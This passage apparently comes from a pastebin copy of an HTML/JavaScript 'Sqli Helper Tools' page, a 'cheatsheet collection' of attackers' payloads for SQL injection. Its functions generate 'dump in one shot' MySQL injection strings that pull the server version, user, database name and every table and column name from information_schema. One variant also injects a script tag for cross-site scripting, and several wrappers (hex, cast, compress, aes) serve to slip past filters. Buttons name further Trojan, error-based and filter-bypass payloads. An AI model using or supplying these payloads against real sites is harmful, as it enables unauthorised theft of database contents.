  536. var mydios = "concat(0x3c2f6469763e3c7363726970743e616c6572742827,0x496e6a6563746564204279205665727361696c6c65735c6e5c6e,VERSION(),0x205b20,@@VERSION_COMPILE_OS,0x205d5c6e,0x55736572203e3e20,USER(),0x5c6e,0x44426e616d65203e3e20,DATABASE(),0x5c6e5c6e,concat(0x546f74616c20446174616261736573205b20,(select+count(*)from+information_schema.schemata)),0x205d5c6e,concat(0x546f74616c205461626c6573205b20,(select+count(*)from+information_schema.tables+where+table_Schema=database())),0x205d5c6e,concat(0x546f74616c20436f6c756d6e73205b20,(select+count(*)from+information_schema.columns+where+table_Schema=database())),0x205d5c6e,(select(@x)from(select(@x:=0x00),(@num:=0),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat(@x,0x5c6e,LPAD(@num:=@num%2b1,3,0x30),0x2e20,table_name,0x203a3a20,column_name))))x),0x27293c2f7363726970743e)";
  537. document.getElementById('dios').value = mydios;
  538. }
  539.  
  540. function mydios2(){
  541. var mydios2 = "concat(0x496e6a6563746564204279205665727361696c6c65733c62723e,VERSION(),0x205b20,@@VERSION_COMPILE_OS,0x205d3c62723e,0x55736572203e3e20,USER(),0x3c62723e,0x44426e616d65203e3e20,DATABASE(),0x3c62723e,concat(0x546f74616c20446174616261736573205b20,(select+count(*)from+information_schema.schemata)),0x205d3c62723e,concat(0x546f74616c205461626c6573205b20,(select+count(*)from+information_schema.tables+where+table_Schema=database())),0x205d3c62723e,concat(0x546f74616c20436f6c756d6e73205b20,(select+count(*)from+information_schema.columns+where+table_Schema=database())),0x205d3c62723e,(select(@x)from(select(@x:=0x00),(@num:=0),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat(@x,0x3c62723e,LPAD(@num:=@num%2b1,3,0x30),0x2e20,table_name,0x203a3a20,column_name))))x))";
  542. document.getElementById('dios').value = mydios2;
  543. }
  544.  
  545. function hx(){
  546. var hx = prompt('Input Your Query','VERSION()');
  547. var hx = "hex(unhex("+hx+"))";
  548. document.getElementById('dios').value = hx;
  549. }
  550.  
  551. function cn(){
  552. var cn = prompt('Input Your Query','VERSION()');
  553. var cn = "convert("+cn+"+using+latin1)";
  554. document.getElementById('dios').value = cn;
  555. }
  556.  
  557. function cs(){
  558. var cs = prompt('Input Your Query','VERSION()');
  559. var cs = "cast("+cs+"+as+char)";
  560. document.getElementById('dios').value = cs;
  561. }
  562.  
  563. function cp(){
  564. var cp = prompt('Input Your Query','VERSION()');
  565. var cp = "uncompress(compress("+cp+")) ";
  566. document.getElementById('dios').value = cp;
  567. }
  568.  
  569. function aes(){
  570. var aes = prompt('Input Your Query','VERSION()');
  571. var aes = "aes_decrypt(aes_encrypt("+aes+",1),1)";
  572. document.getElementById('dios').value = aes;
  573. }
  574.  
  575. function tblc(){
  576. var tblc = alert("Count Total Tables with Table Name");
  577. var tblc = "concat(@c:=0x00,if((select+count(*)+from(information_schema.tables)where+table_schema=database()+and+@c:=concat(@c,0x3c6c693e,@tbl:=table_name,0x203a3a20,(select+count(*)from+information_schema.columns+where+table_Schema=database()+and+table_name=@tbl))),0x00,0x00),@c)";
  578. document.getElementById('dios').value = tblc;
  579. }
  580.  
  581. function dbc(){
  582. var dbc = alert("Count Total Databases");
  583. var dbc = "concat(0x546f74616c20446174616261736573203e3e20,(select+count(*)from+information_schema.schemata))";
  584. document.getElementById('dios').value = dbc;
  585. }
  586.  
  587. function tottbl(){
  588. var tottbl = alert("Count Total Tables");
  589. var tottbl = "concat(0x546f74616c205461626c6573203e3e20,(select+count(*)from+information_schema.tables+where+table_Schema=database()))";
  590. document.getElementById('dios').value = tottbl;
  591. }
  592.  
  593. function totcol(){
  594. var totcol = alert("Count Total Columns");
  595. var totcol = "concat(0x546f74616c20436f6c756d6e73203e3e20,(select+count(*)from+information_schema.columns+where+table_Schema=database()))";
  596. document.getElementById('dios').value = totcol;
  597. }
  598.  
  599. function countdb(){
  600. var countdb = alert("Count Total Databases with Database Name");
  601. var countdb = "(SELECT+(@x)+FROM+(SELECT+(@x:=0x00),(@NR_DB:=0),(SELECT+(0)+FROM+(INFORMATION_SCHEMA.SCHEMATA)+WHERE+(@x)+IN+(@x:=CONCAT(@x,LPAD(@NR_DB:=@NR_DB%2b1,2,0x30),0x20203a2020,schema_name,0x3c62723e))))x)"; document.getElementById('dios').value = countdb;
  602. }
  603.  
  604.  
  605.  
  606. function about(){
  607. var about = alert("Cheatsheet Collection Pakage V.3\n\nBy : VanGans>_<");
  608. }
  609.  
  610.  
  611.  
  612. </script>
  613. </head>
  614. <body>
  615. <center>
  616.  
  617. <div class="panel panel-default" style="background:rgba(0,0,0,0.50);width:700px;">
  618.  
  619. <h1> Sqli Helper Tools</h1>
  620.  
  621. <br>
  622.  
  623. <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#mc"><i class="glyphicon glyphicon-plus"></i> STRINGS TOOLS </button>
  624.  
  625. <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#q"><i class="glyphicon glyphicon-plus"></i> QUERY </button>
  626.  
  627.  
  628. <div id="mc" class="collapse">
  629.  
  630. <textarea id="str" rows="5" cols="70" placeholder="Strings"></textarea>
  631.  <br>
  632. <button onclick="Str2Hex()"> Hex </button>
  633. <button onclick="Hex2Str()"> Unhex </button>
  634.  |
  635. <input onclick="b64_enc();" type=button value="Base64Enc" name="encode">
  636.       <input onclick="b64_dec();" type=button value="Base64Dec" name="decode">
  637.  |
  638. <input onclick="esc();" type=button value="Escape" name="encode">
  639.       <input onclick="unesc();" type=button value="Unescape" name="decode">
  640.  
  641. <br><br>
  642. <input type="text" size="25" id="wrd" placeholder="Words"> >>
  643. <input type="text" size="25" id="rep" placeholder="Replace">
  644. <input onclick="rplc();" type=button value="Replace All">
  645. <br><br>
  646.  
  647. <textarea id="hex" rows="5" cols="70" placeholder="Output">
  648. </textarea><br>
  649.  
  650. <br>
  651.  
  652. </div>
  653.  
  654. <div id="q" class="collapse">
  655. <br>
  656.  
  657. <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#query"><i class="glyphicon glyphicon-plus"></i> DIOS QUERY </button>
  658.  
  659. <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#sysvar"><i class="glyphicon glyphicon-plus"></i> SYSTEM VARIABLES </button>
  660.  
  661. <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#otr"><i class="glyphicon glyphicon-plus"></i> OTHER </button>
  662.  
  663. <br>
  664. <div id="query" class="collapse">
  665.  
  666. <div class="dios">
  667. <table class="table table-striped table-bordered table-hover datatable">
  668. <tr>
  669. <td class="text-center">
  670. ======= :: DUMP IN ONE SHOOT :: =======</td>
  671. </tr>
  672.  
  673. <tr><td class="text-center">
  674. <button onclick="dios1()">Dios 1</button>
  675. <button onclick="dios2()">Dios 2</button>
  676. <button onclick="dios3()">Dios 3</button>
  677. <button onclick="dios4()">Dios 4</button>
  678. <button onclick="xssdios()">XssDios </button>
  679. <button onclick="trjn()"> Trojan 1 </button>
  680. <button onclick="trjnx()"> Trojan 2 </button>
  681. <button onclick="bypsfrm()"> Bypass From </button>
  682. </td></tr>
  683.  
  684. <tr><td class="text-center">
  685. <button onclick="postgre()"> Postgre </button>
  686. <button onclick="mssql()"> Mssql </button>
  687. <button onclick="bof()"> BOF </button>
  688. <button onclick="mydios2()"> Mydios 2 </button>
  689. <button onclick="makman()"> Makman </button>
  690. <button onclick="ebf()"> ErrBased </button>
  691. <button onclick="poligon()"> Poligon </button>
  692. <button onclick="multipoint()"> Multipoint </button>
  693. </td></tr>
  694. </table>
  695. </div>
  696. </div>
  697.  
  698. <br>
  699.  
  700. <div id="sysvar" class="collapse">
  701.  
  702. <div class="sv">
  703. <table class="table table-striped table-bordered table-hover datatable">
  704. <tr>
  705. <td class="text-center">
  706. ======= :: SYSTEM VARIABLES :: =======</td>
  707. </tr>
  708. </table>
  709. <table class="table table-striped table-bordered table-hover datatable">
  710. <tr><td>VERSION </td><td class="text-center"><button onclick="version1()">Version 1</button>
  711. <button onclick="version2()">Version 2</button>
  712. <button onclick="version3()">Version 3</button>
  713. <button onclick="version4()">Version 4</button>
  714. <button onclick="version5()">Version 5</button>
  715. </td></tr>
  716.  
  717. <tr><td>USER </td><td class="text-center"><button onclick="user1()">User 1</button>
  718. <button onclick="user2()">User 2</button>
  719. <button onclick="user3()">User 3</button>
  720. <button onclick="user4()">User 4</button>
  721. <button onclick="user5()">User 5</button>
  722. <button onclick="user6()">User 6</button></td></tr>
  723.  
  724. <tr><td>DATABASE </td><td class="text-center"> <button onclick="db1()">Database 1</button>
  725. <button onclick="db2()">Database 2</button>
  726. <button onclick="db3()">Database 3</button></td></tr>
  727. </table>
  728. </div>
  729.  
  730.  
  731. <table class="table table-striped table-bordered table-hover datatable">
  732. <tr><td class="text-center">
  733. <button onclick="o1()"> @@HOSTNAME </button>
  734. <button onclick="o2()"> @@VERSION_COMPILE_MACHINE </button>
  735. <button onclick="o3()"> @@VERSION_COMPILE_OS </button>
  736. </td></tr>
  737.  
  738. <tr><td class="text-center">
  739. <button onclick="o4()"> @@BASEDIR </button>
  740. <button onclick="o5()"> @@HV_OPENSSL </button>
  741. <button onclick="o6()"> @@HV_SYMLINK </button>
  742. <button onclick="o7()"> @@PORT </button>
  743. <button onclick="o8()"> @@SOCKET </button>
  744. </td></tr>
  745. </table>
  746.  
  747. </div>
  748.  
  749.  
  750.  
  751. <div id="otr" class="collapse">
  752.  
  753. <div class="othr">
  754. <table class="table table-striped table-bordered table-hover datatable">
  755. <tr>
  756. <td class="text-center">
  757. ======= :: OTHERS :: =======</td>
  758. </tr>
  759. </table>
  760.  
  761. <table class="table table-striped table-bordered table-hover datatable">
  762. <tr><td class="text-center">
  763. <button onclick="xssqli()"> PopUP </button>
  764. <button onclick="kolom()"> Generate Column </button>
  765. <button onclick="mydios()"> MyDios </button>
  766. <button onclick="hx()"> Hex </button>
  767. <button onclick="cn()"> Convert </button>
  768. <button onclick="cs()"> Cast </button>
  769. <button onclick="cp()"> Compress </button>
  770. <button onclick="aes()"> Aes </button>
  771. </td></tr>
  772.  
  773. <tr><td class="text-center">
  774. <button onclick="dbc()"> Total Databases </button>
  775. <button onclick="tottbl()"> Total Tables </button>
  776. <button onclick="totcol()"> Total Columns </button>
  777. <button onclick="tblc()"> Total Col </button>
  778. <button onclick="countdb()"> Count DB </button>
  779. <button onclick="about()"> About </button>
  780. </td></tr>
  781. </table>
  782.  
  783. </div></div>
  784.  
  785. <br>
  786. <textarea id="dios" rows="5" cols="70" placeholder="Output">
  787. </textarea>
  788. <br>
  789.  
  790. </div>
  791. <br>
  792.  
  793. <hr class="hr">
  794. <div id="copy">
  795. &copy; 2016-2018 &hearts; Recoded by <font color="white"><a href=https://facebook.com/fahlevi7.77>N19h7h4wk</a></font> Code by <a href=https://facebook.com/thever.sevenfoldism>Versailles</a><br>
  796. </div>
  797.  
  798. <style>
  799.  @import url(http://fonts.googleapis.com/css?family=Great+Vibes);
  800.  @import url(http://fonts.googleapis.com/css?family=Inconsolata);
  801.  @import url(http://fonts.googleapis.com/css?family=Geo);
  802.  h1 {
  803.     color: lime;
  804.     font-weight: bold;
  805.     font-family: 'Great Vibes', cursive;
  806.  }
  807.  textarea {
  808.     background: rgba(0,0,0,0.13);
  809.     color: lime;
  810.     border: 1px solid red;
  811.     font-family: 'Inconsolata', cursive;
  812.  }
  813.  button {
  814.     border: 1px solid lime;
  815.     background: black;
  816.     color: white;
  817.     font-family: 'Geo', cursive;
  818.  }
  819.  #copy {
  820.     color: red;
  821.     font-weight: bold;
  822.     font-family: 'Inconsolata', cursive;
  823.  }
  824.  #copy a {
  825.     color: white;
  826.  }
  827.  #copy a:hover {
  828.     color: blue;
  829.  }
  830.  .text-center {
  831.     color: red;
  832.     background: rgba(0,0,0,0.99);
  833.     font-family: 'Inconsolata', cursive;
  834.  }
  835.  tr {
  836.     border: 2px solid black;
  837.     color: lime;
  838.     font-family: 'Inconsolata', cursive;
  839.  }
  840.  input {
  841.     background: black;
  842.     color: white;
  843.     border: 1px solid lime;
  844.     font-family: 'Geo', cursive;
  845.  }
  846.  td {
  847.     background: black;
  848.     font-family: 'Geo', cursive;
  849.  }
  850. </style>
  851.  
  852. </div>
  853. </body>
  854. </html>
Advertisement
Add Comment
Please, Sign In to add comment